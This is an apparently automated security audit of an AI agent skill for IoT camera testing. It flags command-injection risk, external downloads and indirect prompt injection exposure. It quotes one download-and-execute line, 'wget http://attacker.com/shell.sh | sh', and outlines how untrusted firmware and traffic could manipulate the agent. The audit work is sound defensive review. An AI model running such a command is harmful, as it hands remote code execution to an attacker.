Full Analysis
  • [REMOTE_CODE_EXECUTION]: The SKILL.md file contains a literal remote code execution string (wget http://attacker.com/shell.sh | sh) within the 'Enterprise IP Camera Security Assessment' scenario. Although presented as an illustrative example of an exploit finding, the presence of a functional RCE payload targeting an untrusted domain triggers critical detection patterns.
  • [COMMAND_EXECUTION]: The scripts/agent.py script relies heavily on the subprocess.run() function to execute external system tools. This creates a surface for command injection if the target IP, interface, or file paths are populated with unsanitized user input.
  • The script executes nmap, curl, binwalk, tcpdump, capinfos, and openssl directly from Python.
  • Specifically, the analyze_firmware method performs recursive extraction and grep operations on filesystems derived from external firmware images.
  • [EXTERNAL_DOWNLOADS]: The skill documentation references downloading and executing shell scripts from attacker.com. Additionally, the scripts/agent.py script uses curl to interact with external network targets and paho-mqtt to connect to remote MQTT brokers.
  • [INDIRECT_PROMPT_INJECTION]: The skill possesses a significant attack surface for indirect prompt injection because it is designed to ingest and analyze untrusted data from the environment.
  • Ingestion points: Reads firmware images (analyze_firmware) and captures live network traffic (capture_traffic).
  • Boundary markers: None identified; the skill processes raw binary and text data from extracted filesystems without sanitization.
  • Capability inventory: Includes file system writes, network scanning, packet capture, and firmware extraction utilities.
  • Sanitization: The script lacks validation for the content of extracted files before performing grep or other analysis tasks.
Recommendations
  • HIGH: Downloads and executes remote code from: http://attacker.com/shell.sh - DO NOT USE without thorough review
  • AI detected serious security threats
